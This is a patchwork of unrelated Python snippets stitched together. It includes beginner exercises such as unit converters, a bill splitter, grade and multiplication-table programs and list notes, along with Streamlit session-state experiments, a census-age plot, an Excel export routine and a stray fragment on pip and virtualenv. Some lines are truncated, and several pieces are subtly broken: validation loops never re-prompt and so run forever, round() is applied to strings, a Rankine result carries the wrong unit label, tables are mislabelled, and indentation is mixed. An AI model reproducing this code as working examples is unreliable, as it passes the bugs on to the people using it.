        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °C  is {round(newValue,2)}°C ")
    elif convertFrom == 'D' and converTo =='F':
        newValue = ((value+100)*1.2000)+32
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °F is {round(newValue,2)}°F ")
    elif convertFrom == 'D' and converTo == 'R':
        newValue = ((value+100)*1.2000 )+491.67
        print(f"Temperature converted from ({temperature[convertFrom]}) °D to ({temperature[converTo]}) °R  is {round(newValue,2)}°D ")
    else: 
        print("Invalid inputs. ")

#temperature_convert()
def length_convert():
    # Take user inputs: 
    value = input("Enter length value: ")
    convertFrom = input("Enter unit you want to convert from: ")
    converTo = input("Enter unit you want to convert to: ")
    # creat list that contains units:
    validUnits = ['m','in','ft','yd','mi','nm']
    # create a dictionary that has letters with their coressponding unit names:
    unitNames = {'m':'Metre',
    'in': 'Inch',
    'ft':'Feet',
    'yd': 'Yard',
    'mi':'Mile',
    'nm':'Nautical Mile'
    }
    converTo=converTo.lower()
    convertFrom=convertFrom.lower()

    # Validation:
    while True:
        try:
            value = float(value)
            if convertFrom not in validUnits or converTo not in validUnits:
                print("Unit Invalid. ")
            else:
                break

        except ValueError:
            print("Conversion faild")
    # Conver from meter:
    if convertFrom == 'm' and converTo == 'in':
        newvalue = value*39.3701
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'm' and converTo == 'ft':
        newvalue=value*3.28084
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'm' and converTo == 'yd':
        newvalue=value*1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'm' and converTo == 'mi':
        newvalue=value/1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'm' and converTo == 'nm':
        newvalue=value*0.000539957
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from inch:
    if convertFrom == 'in' and converTo == 'm':
        newvalue = value/39.37
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'in' and converTo == 'ft':
        newvalue=value/12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'in' and converTo == 'yd':
        newvalue=value/36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'in' and converTo == 'mi':
        newvalue=value/63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'in' and converTo == 'nm':
        newvalue=value/72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from feet:
    if convertFrom == 'ft' and converTo == 'in':
        newvalue =value*12
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'ft' and converTo == 'm':
        newvalue=value/3.281
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'ft' and converTo == 'yd':
        newvalue=value/3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'ft' and converTo == 'mi':
        newvalue=value/5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'ft' and converTo == 'nm':
        newvalue=value/6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Yard:
    if convertFrom == 'yd' and converTo == 'in':
        newvalue =value*36
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'yd' and converTo == 'm':
        newvalue=value/1.094
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'yd' and converTo == 'ft':
        newvalue=value*3
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'yd' and converTo == 'mi':
        newvalue=value/1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} mi. ")
    elif convertFrom == 'yd' and converTo == 'nm':
        newvalue=value/2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Mile:
    if convertFrom == 'mi' and converTo == 'in':
        newvalue =value*63360
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'mi' and converTo == 'm':
        newvalue=value*1609
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'mi' and converTo == 'ft':
        newvalue=value*5280
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'mi' and converTo == 'yd':
        newvalue=value*1760
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'mi' and converTo == 'nm':
        newvalue=value/1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} nm. ")
    # convert from Nautical Mile:
    if convertFrom == 'nm' and converTo == 'in':
        newvalue =value*72910
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} in. ")
    elif convertFrom == 'nm' and converTo == 'm':
        newvalue=value*1852
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} m. ")
    elif convertFrom == 'nm' and converTo == 'ft':
        newvalue=value*6076
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} ft. ")
    elif convertFrom == 'nm' and converTo == 'yd':
        newvalue=value*2025
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to ({unitNames[converTo]}) is {round(newvalue,2)} yd. ")
    elif convertFrom == 'nm' and converTo == 'mi':
        newvalue=value*1.151
        print(f"The length {value} converted from ({unitNames[convertFrom]}) to {round(newvalue,2)} mi. ")

#length_convert()
def mass_convert():
    # get user inputs:
    while True:
        try:

            value = input("Enter value of mass you want to convert: ")
            convertFrom = input("Enter unit you want to convert from (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            convertTo = input("Enter unit you want to convert to (Kilogram (kg), Pound (lbs),Ounce (oz), Stone (st), Tons (t)): ")
            validUnits =['kg', 'lbs', 'oz', 'st','t']
            unitNames = {
                'kg': 'Kilogram ', 
                'lbs': 'Pound ', 
                'oz': 'Ounce', 
                'st': 'Stone ',
                't':'Tons '
            }
            value = float(value)
            convertFrom=convertFrom.lower()
            convertTo=convertTo.lower()
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid Units. ")
            else:
                break
        except ValueError:
            print("conversion faild")
    
    # convert from kg:
    if convertFrom == 'kg' and convertTo=='lbs':
        newvalue=value*2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='oz':
        newvalue=value*35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='st':
        newvalue=value/6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'kg' and convertTo=='t':
        newvalue=value/1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from pound:
    if convertFrom == 'lbs' and convertTo=='kg':
        newvalue=value/2.205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='oz':
        newvalue=value*16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='st':
        newvalue=value/14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'lbs' and convertTo=='t':
        newvalue=value/2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Ounce:
    if convertFrom == 'oz' and convertTo=='kg':
        newvalue=value/35.274
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='lbs':
        newvalue=value/16
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='st':
        newvalue=value/224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'oz' and convertTo=='t':
        newvalue=value/35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    # convert from Stone:
    if convertFrom == 'st' and convertTo=='kg':
        newvalue=value*6.35
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='lbs':
        newvalue=value*14
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='oz':
        newvalue=value*224
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 'st' and convertTo=='t':
        newvalue=value/157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')

    # convert from Tones:
    if convertFrom == 't' and convertTo=='kg':
        newvalue=value*1000
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='lbs':
        newvalue=value*2205
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='oz':
        newvalue=value*35270
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
    elif convertFrom == 't' and convertTo=='st':
        newvalue=value*157.5
        print(f'Mass {value} converted from {unitNames[convertFrom]} to {unitNames[convertTo]} is {round(newvalue,2)}')
#mass_convert()

def area_convrt():
    while True:
        value = input("Enter area: ")
        convertFrom = input("Enter unit you want to conver area from: ")
        convertTo = input("Enter unit you want to conver area from: ")
        validUnits= ['km2', 'm2', 'ha', 'ac','in^2','ft2','yd2']
        unitNames = {

        }
        try:
            value = float(value)
            if convertFrom not in validUnits or convertTo not in validUnits:
                print("Invalid unit")
            else:
                break
        except ValueError:
            print("Conversion faild")
    
#area_convrt()
main()
import streamlit as st
from streamlit import session_state as ses

if "num_cases" not in ses:
    ses["num_cases"] = 3

delete_part = st.container()
        
if st.button("Add a row"):
    ses["num_cases"] += 1

cols = st.columns((1, 2))
for i in range(0, ses["num_cases"]):
    
    cols[1].write("")
    cols[1].write("")
    delete = cols[1].button(label="X", key="delete_" + str(i+1))
    
    with delete_part:
        st.write("delete")
        if delete:
            st.write("pressed")
            ses["num_cases"] -= 1
            st.write("text_" + str(i+1))
            cols[0].empty()
            cols[1].empty()
            del ses["text_" + str(i+1)]
    
    try:
        cols[0].text_input(label="Row " + str(i+1), key="text_" + str(i+1))
    except:
        pass


deletion = st.empty()
deletion.text_input(label="testing removability", key="removable")
if st.button("delete"):
    deletion.empty()
    del ses["removable"]



st.write(ses)
# ORRRRR save the inputs as "old" when submitting: ses["old_input"] = orig_input


import streamlit as st

st.set_page_config(page_title="PLAYGROUND", layout="wide")

# Init session states
if "num_changed" not in st.session_state:
    st.session_state["num_changed"] = False
if "select_changed" not in st.session_state:
    st.session_state["select_changed"] = False
if "old_res" not in st.session_state:
    st.session_state["old_res"] = 0
if "toggle_results" not in st.session_state:
    st.session_state["toggle_results"] = False

# on_change Changed fr selectbox, changed by selectbox is true so it can change the result input
def change_fr_select():
    st.write("Change fr select")
    st.session_state["select_changed"] = True
    st.session_state["num_changed"] = False

    st.session_state["toggle_results"] = False

    return

# on_change Changed fr num_input, changed by num_input is true to prevent result input from changing
def change_fr_num():
    st.write("Change fr num")
    st.session_state["num_changed"] = True
    st.session_state["select_changed"] = False

    st.session_state["toggle_results"] = True

    return

# Calc function
def calculate(num1, num2):
    st.write("num_changed", st.session_state["num_changed"])
    st.write("select_changed", st.session_state["select_changed"])
    st.write("toggle_results", st.session_state["toggle_results"])
    
    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state["select_changed"] == True:
        st.write("selectbox")
        res = num1 * num2
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state["num_changed"]:
        st.write("num_input")
        res = st.session_state["old_res"]
    return res



# TODO checkbox to toggle between updated calculation or (manual) input

cols = st.columns((5, 5, 5, 5))

selection = cols[0].selectbox(label="Wheee", options=["one", "two", "three", "four"], on_change=change_fr_select)
assert selection is not None
list1 = {
    "one": 2,
    "two": 6,
    "three": 9,
    "four": 0
}
list2 = {
    "one": 1,
    "two": 8,
    "three": 4,
    "four": 3
}
num1 = cols[2].number_input(label="Num 1", value=list1[selection], on_change=change_fr_num)
num2 = cols[3].number_input(label="Num 2", value=list2[selection], on_change=change_fr_num)

together = calculate(num1, num2)
st.write(together)


result = cols[1].number_input(label="Result", value=together)
st.session_state["old_res"] = result
# TODO toggle b/w old and new results
if st.session_state["toggle_results"] == True:
    cols[1].checkbox("Different result detected!  Click to use new result", help="You changed one of the parameters used to estimate this value.  You can choose to use the estimation or keep your current value.")

st.write(st.session_state["select_changed"])
st.write(st.session_state["num_changed"])

st.markdown("---")






# Implementation
# num on_change Changed fr selectbox, changed by selectbox is true so it can change the num1 input
def change_fr_select(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the selectbox has changed to determine if the num1 should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("select")
    st.session_state[select_changed] = True     # user has changed selectbox value
    st.session_state[num_changed] = False       # thickness and density should not change modulus

    st.session_state[toggle_results] = False    # toggle whether recalculated modulus or manual input should not appear, selectbox should change the modulus 

    return



# select on_change
def select_on_change(select_changed, num_changed, old_result, toggle_results, index, case_n):
    st.write(select_changed, st.session_state[select_changed])
    st.write(num_changed, st.session_state[num_changed])
    st.write(toggle_results, st.session_state[toggle_results])

    res = 0
    # selectbox has changed + we can calculate/overwrite input
    if st.session_state[select_changed] == True:
        st.write("selectbox")
        st.session_state[old_result] = False
        res = 10**(31*st.session_state["num1_layer_" + str(index-1) + "_case_" + str(case_n)] - 1.89*((st.session_state["num2_layer_" + str(index-1) + "_case_" + str(case_n)]**29)))
    # indep. num_input has changed + retain "old" answer result
    elif st.session_state[num_changed] == True:
        st.write("num_input")
        st.session_state[old_result] = True

    return res


# num on_change Changed fr num_input, changed by number_input is true so it does NOT change the modulus input 
def change_fr_num(select_changed, num_changed, toggle_results):
    """ Change session state indicating that the bending stiffness thickness and/or density inputs have changed to determine if the modulus should be changed

        Arguments:
            select_changed {string} -- boolean session state indicating user changed selectbox value
            num_changed {string} -- boolean session state indicating user changed number_input value 
            toggle_results {string} -- boolean session state indicating we toggle option to switch between manual user input or recalculated modulus value
    """

    st.write("num")
    st.session_state[num_changed] = True        # num1 and num2 should change select
    st.session_state[select_changed] = False    # user has not changed selectbox value

    st.session_state[toggle_results] = True    # toggle whether recalculated modulus or manual input should appear, user can toggle between their own or recalculated value

    return
# write aprogram to calculate the volune and surface area of a cuboid:
"""
Take three inputs: 
1. height
2. width 
3. length 

"""
height=float(input("Enter the height: "))
width=float(input("Enter the width: "))
length=float(input("Enter the length: "))

# print the given information in two decimal places:
print(f"Given h = {round(height,2)}, w = {round(width,2)}, l = {round(length,2)}")

# calculate the volume:
volume= height*width*length
print(f"The volume is {round(volume,2)}cm3")

# calculate the surface area:
surface= 2*length*width+2*length*height+2*height*width
print(f"The surface area is {round(surface,2)}cm2")
# Weekly coding exercise:
"""
Thisprogram will calculate the tip and cost of the meal 
to be split between griends at a restaurant.

Take three inputs:
1. Total price of the meal
2. The percentage of tip to be given
3. The number of friends to split the cost by

"""
totalPrice= float(input("Enter the total price of the meal: "))
tip= float(input("Enter the the percentage of the tip to be given in (of 100): "))
friends= float(input("Enter the number of friends to split the bill by: "))
if tip>=totalPrice:
    print("Invalid tip or invalid meal price")
elif tip>100 or tip<0:
    print("Invalid tip")
elif friends<2:
    print("Need more friends to split the bill by")
else: 
    # calculate tip:
    calculateTip= (totalPrice)*(tip/100)
    # add tip to the price: 
    mealTip = (totalPrice)+(calculateTip)

    print(f"The meal total (with tip) is ${mealTip}")
    person = (mealTip)/(friends)

    print(f"Each person should pay ${round(person,2)}")
# weekly coding exercise propleam 1:
"""
This program will calculate the perimeter of a rectangle
Take two inputs:
1. width  
2. length 
- do some validation
- convert to float and 2 D.P

"""
width = input("Enter width in centimeters: ")
length = input("Enter length in centimeters: ")

p = 2*(float(width)+float(length))
if width == length:
    print("Incorrect inputs")
else:
    print(f"The perimeter of a rectangle with width {round(width,2)}cm and length{round(length,2)}cm is {round(p,2)}cm.")
import streamlit as st
import pandas as pd

@st.cache(show_spinner=False)
def excel_init():
    # Use database like in Bending Stiffness model
    orig_database_path = "/path/to/file.xlsx"      # local copy of the Excel database used in Bending Stiffness & Permeability model
    read_orig_database = r"" + orig_database_path
    sheet_name = "Database"
    
    # Read in the Resin/Materials from Carol's Excel file for getting data by column
    ses["read_table"] = pd.read_excel(read_orig_database, sheet_name=sheet_name, engine='openpyxl', skiprows=3)   # skip first 3 rows since they are either empty space or extra headers

    # Excel column header names from original materials database for easily reading the database column values
    ses["col1"] = ses["read_table"].columns[0]      # "Column 1"
    ses["col3"] = ses["read_table"].columns[2]      # "Column 3"
    ses["col6"] = ses["read_table"].columns[5]      # "Column 6"
    
    # Setting up list of materials for dropdown
    col1_pandas = pd.DataFrame(ses["read_table"][ses["col1"]].values)  # get col1 column values as pandas dataframe
    customize_options = pd.DataFrame(["[Placeholder]"])                                              # "blank" placeholder for any item not in the database
    ses["list_streamlit"] = pd.concat([customize_options, col1_pandas], axis=0)                       # axis=0 --> concat by row, axis=1 --> concat by col

    # Assign "Excel indices" for easy data retrieval (same applies to col3, col6, etc.) after user selects a material (need to start range at 1 since Excel is 1-based index, not 0-based)
    # we access the item by
    ses["col1_prefill_index"] = {}                                                         # [material_name_key]: [index_0-based_val]
    for i in range(1, len(ses["read_table"][ses["col1"]]) + 1):      # loop through col1 pandas dataframe "list"
        ses["col1_prefill_index"][ses["read_table"][ses["col1"]][i-1]] = i-1
    
    return
# Num cases + in session state
num_cases = st.selectbox('Select the number of cases for comparison, maximum of 12', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], key="num_cases")


# Nav options: dynamically append/remove # of cases menu bar has
case_pages = {}
for x in range(1, st.session_state["num_cases"] + 1): case_pages["Case " + str(x)] = x

# "Slice" dictionary according to input for # of cases + case titles
# One-liner for iterating through dictionary for num_cases times to show both the case and the summary page names in the navigation "tabs"
case_pages_sliced = dict(itertools.islice(case_pages.items(), 0, st.session_state["num_cases"]))

# Add "Summary" option at end of options list
case_pages_sliced["Summary"] = 0
def group_by_owners(files):
  owners = {}
  for file, owner in files.items():
    if owner not in owners:
      owners[owner] = []
    owners[owner].append(file)
  return owners
import streamlit as st
import multipage_streamlit as mt


# Check preserved session state if you need to replace value with user input or material has changed with the multipage ses state library
def old_persistent_ses_state(old_extracted_val_ses, current_extracted_val_ses, extracted_input):
	""" Determines if preserved inputs can have its value replaced or not, via user input or material change

        Args:
            old_extracted_val_ses (string): session state of old input value to determine if value gets replaced or not
            current_extracted_val_ses (string): session state of current input value
            extracted_input (int): input value for current input
    """    
    
    if old_extracted_val_ses in ses and ses[old_extracted_val_ses]!=extracted_input and current_extracted_val_ses in ses: ses[current_extracted_val_ses] = extracted_input
    
    return


# app.py
app = mt.MultiPage()
app.add("Page 1", page_1.app)	# no parentheses or else it will run even when not selected!
app.add("Page 2", page_2.app)

# page_1.py
def app():
	select = st.selectbox(label="Input 1 Page 1", options=[1, 2, 3], key=state("input_1_page_1"))	# don't need to init session state, will default to first item/0 for num_input
	value = st.number_input(label="Input 2 Page 1", key=state("input_2_page_1", select))
	
	# Save old session state to prevent overwriting
    
port matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns

# creating a dictionary
sns.set_style("whitegrid")
plt.rc('font', size=16) #controls default text size
plt.rc('axes', titlesize=16) #fontsize of the title
plt.rc('axes', labelsize=16) #fontsize of the x and y labels
plt.rc('xtick', labelsize=16) #fontsize of the x tick labels
plt.rc('ytick', labelsize=16) #fontsize of the y tick labels
plt.rc('legend', fontsize=16) #fontsize of the legend

# load dataset - census income
census_income = pd.read_csv(r'../input/income/train.csv')

# define figure
fig, (ax1, ax2) = plt.subplots(2)
fig.set_size_inches(18.5, 10.5)

# plot age histogram
age_count = census_income.groupby(by=["age"])["age"].count()
ax1.bar(age_count.index, age_count, color='black')
ax1.set_ylabel("Counts")
ax1.set_xlabel("Age")

# binning age
def age_bins(age):
    if age < 29:
        return "1 - young"
    if age < 60 and age >= 29:
        return "2 - middle-aged"
    else:
        return "3 - old-aged"

# apply trans. function
census_income["age_bins"] = census_income["age"].apply(age_bins)

# group and count all entries in the same bin
age_bins_df = census_income.groupby(by=["age_bins"])["age_bins"].count()

ax2.bar(age_bins_df.index, age_bins_df, color='grey')
ax2.set_ylabel("Counts")
ax2.set_xlabel("Age")
# This program will convert a given mark to its corresponding grade:
# 1. Take user inputs:


mark = input("Ënter a mark between 0 to 100: ")

# repeat the process until the user enter q
while mark != 'q':
    mark=int(mark)
    if mark>100 or mark<0:
        print("Mark Invalid")
    elif mark>=0 and mark<= 49:
        print(f"Grade for {mark} is N (Fail)")
    elif mark>=50 and mark<= 59:
        print(f"Grade for {mark} is P (Pass)")
    elif mark>=60 and mark<= 69:
        print(f"Grade for {mark} is C (Credit)")
    elif mark>=70 and mark<= 79:
        print(f"Grade for {mark} is D (Distinction)")
    else:
        print(f"Grade for {mark} is HD (High Distinction)")
# get a new mark:
    mark = input("Ënter a mark between 0 to 100: ")
# this program is designed to help the user get the maultiplication series tables:

# 1. first take user inputs:
SeriesStart= int(input("Series Start value: "))
seriesEnd = int(input("Series End value: "))
# The first multiplication table: 
tableStart= int(input("Table Start Value: "))
# The last multiplication table: 
tableEnd= int(input("Table End Value: "))


if seriesEnd<=SeriesStart:
    print("Invalid End Value")
if tableEnd<= tableStart:
    print("Invalid ENd Value")
else:
    for i in range(SeriesStart,seriesEnd+1):
        # print a heading(i)
        print("multiplication table", i)
        for j in range (tableStart, tableEnd +1):
            print(j, 'X',i, '=', i*j)
# ask the user of the series of multiplication table they want it to be printed: 
multiple = int(input("Enter the multiplication table series to generat: "))
# set the first value in the table as 1:
value = 1

# To make sure that the multiplication table will be up to 12:
while value<=12:
    # Formula
    number = multiple * value
    # to print the result using required format:
    print(f"{value} x {multiple} = {number}")
    # in order to inctease the value by 1, using this syntax:
    value = value+1
# Basics of lists:
""""
monash = ["ENG1013", "ENG1012", "ENG1021", "MTH1020", [15082000, 'Shaghaf']]   
whenever I want to put a string within a list, I have to put qoutation marks "".
the last item in the list is a list inside another list, I just have to put a square brackets to refer to the list []

another way to print the last item in the list is by using this syntax 
print(monash[-1])

لو كنت ابغى البرنمج يطبع لي العناصر كلها من الأول الى الأخير بدون  ما يتضمن الأخير
print(monash[0:4])

لو كنت حابة اطبع من عند عنصر معين الى نهاية القائمة
print(monash[3:]) 3 العنصر اللي ببدا منه
print(monash[1:])

"""

# لو كنت حابة اغير العنصر الأول
""""
monash[1]= 'ENG1014'
print(monash[1])
monash[0] = 'ENG1005'
print(monash[0])
monash[2] = 'ENG1011'
monash[3] = 'BMS1021'
print(monash)
"""
monash = ["ENG1013","ENG1013", "ENG1012", "ENG1021", "MTH1020", 'Shaghaf']  
rmit = ["Math", 'Physics Basics', 'Introduction to Engineering', 15, True]
# to print out the to lists at the same time use this symtax:
# print(monash, rmit)
""""
functions in lists:
in order to join these two lists in one list, there are 3 ways:

1.  use .extend() function 
the_ma_infunction.extend(the_function_that_you_it_to_be_added)
then print out the main function
monash.extend(rmit)
print(monash)

2. use this syntax: 
monash += rmit
print(monash)

3. use this synatx:
monash = monash + rmit
print(monash)

"""
# to add another item into the list use .append(), then you must print out the new list
# هذه الطريقة تضيف عنصر جديد في نهاية القائمة فقط 
"""
monash.append("ENG111")
print(monash)
monash.append("ENG2000")
print(monash)
monash.append("ENG3000")
 print(monash)

"""

# insert function: تستخد لأضافة عنصر جديد في مكان معين في القائمة 
"""
monash.insert(index location, 'new item')
monaash.insert(1, ENG1015)
print(monash)

"""
 # to remove an item from a list, there are 2 ways:
""""
1. using .remove() function: in the bracket I have to write the the string itself not the index
monash.remove("ENG1021")
print(monash)
2. using .pop() function 
print(monash)

""" 
 # to delete everything inside a list: follow this syntax
"""
monash.clear()
print(monash)
RMIT.clear()
print(rmit)

    """
# In order to delete the last item only: use .pop()
""""
monash.pop()
print(monash)

"""
# Also in pop function I can save what has been poped:
"""
last_item_popped = monash.pop()
print(last_item_popped)

"""
# if I wanna know the items that are duplicated within a list use:
"""
print(monash.count("ENG1013"))
print(listname.count("the item required to be counted"))

"""
# in lists, we can organize the list using .sort() function:
# alphabetically when it comes to strings and from smallest number to the biggest
# This  program that will identify the smallest value in a list of items:

values = [3005,9117,8474,2513,7004,7248,8669,9234,5428,7812,711,3908,5748,969,3296,589,2216,1792,4593,6888,2554,111,8455,8000,9158,2546,1757,6620,375,1521,9712,7185,5841,5699,9175,4525,4157,1622,8131,2736,4735,7740,1261,6249,423,7362,5653,3966,5016,8195,3465,294,7675,3075,7193,6348,2272,30,6390,2976,9344,1565,6988,2458,5365,4121,1695,4752,3251,4600,8490,5179,9572,7384,2990,9094,4746,6487,5948,8607,9311]
minVal = values[0]
# to make sure that the first value is the smallest value, I should compare it whith every single element in the list
for item in values:
    if item<minVal:
        minVal=item
    

print(f"Minimum value in list is {minVal}")
import io

# Export to CSV/Excel file
# Prep file to be saved
data_buffer = io.BytesIO()                                      # "placeholder" to hold data to be added to Excel sheet
writer = pd.ExcelWriter(data_buffer, engine="xlsxwriter")       # # write as Excel file
workbook = writer.book                                          # "create" empty Excel file
worksheet_summary = workbook.add_worksheet("Case " + str(case_n) + " Summary")   # write worksheet tab for "each" case
bold = workbook.add_format({"bold": True})                      # # Enable bold formatting
row = 0                                                         # start at top of Excel file

# Can turn this into a function instead
# Creating Table 1
worksheet_summary.write(row, 0, "Table 1", bold)      			# Table 1 title, bold format
form_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in st.session_state[summary_sess_state]:               # go through each data in form. table
	worksheet_summary.write(form_start_row, col, each)          # write out the header row
    row = form_start_row + 1                                    # go to next row
    for item in range(0, len(st.session_state[summary_sess_state])):  # get each "sub-data" inside the dataframe after the header row
		try: worksheet_summary.write(row, col, st.session_state[summary_sess_state][each][item])    # write the "sub-data" in their respective locations
		except: pass
        row += 1            # go to next row
    col += 1        # go to next col
row += 2                                                        # next 2 rows for next table
    
# Creating Table 2
worksheet_summary.write(row, 0, "Table 1", bold)        		# Table 2 title, bold format
comp_start_row = row + 1                                        # go to next row for data
col = 0                                                         # start at leftmost
for each in summary_table_component_results:                    # go through each data in comp. table
	worksheet_summary.write(comp_start_row, col, each)          # write out the header row
	row = comp_start_row + 1                                    # go to next row
    for item in range(0, len(summary_table_component_results)): # get each "sub-data" inside the dataframe after the header row
    	worksheet_summary.write(row, col, summary_table_component_results[each][item])
        row += 1
    col += 1
row +=1
or Windows User coming to this post, follow these steps:-

You can make sure that pip is up-to-date by running: python -m pip install --upgrade pip

Install virtualenv by running: python -m pip install --user virtualenv

Finally create environment using python -m virtualenv <your env name>
#Individual coding task 2 solution 
#get the current time and greet based on the time 

#get the time in the correct HH:MM format 
currenttime = input("Enter the current time in HH:MM 24 hour format: ")

#split the time into hours and minutes
splittime = currenttime.split(':')

#convert the minutes and hours to numbers 
splittime[0] = int(splittime[0])
splittime[1] = int(splittime[1])

#use the hours(the first part of splittime) to work out the greeting
if splittime[0]<12: #below 12 it is before noon
    print("Good Morning")
elif splittime[0]>=12 and splittime[0]<16: #above 12 and below 16
    print("Good Afternoon")
elif splittime[0]>=16 and splittime[0]<19: #above 16 and below 19
    print("Good Evening")
else: #must be before midnight 
    print("Good Night")
# first step is getting inputs from the user:
firstName = input("Enter your first name: ")
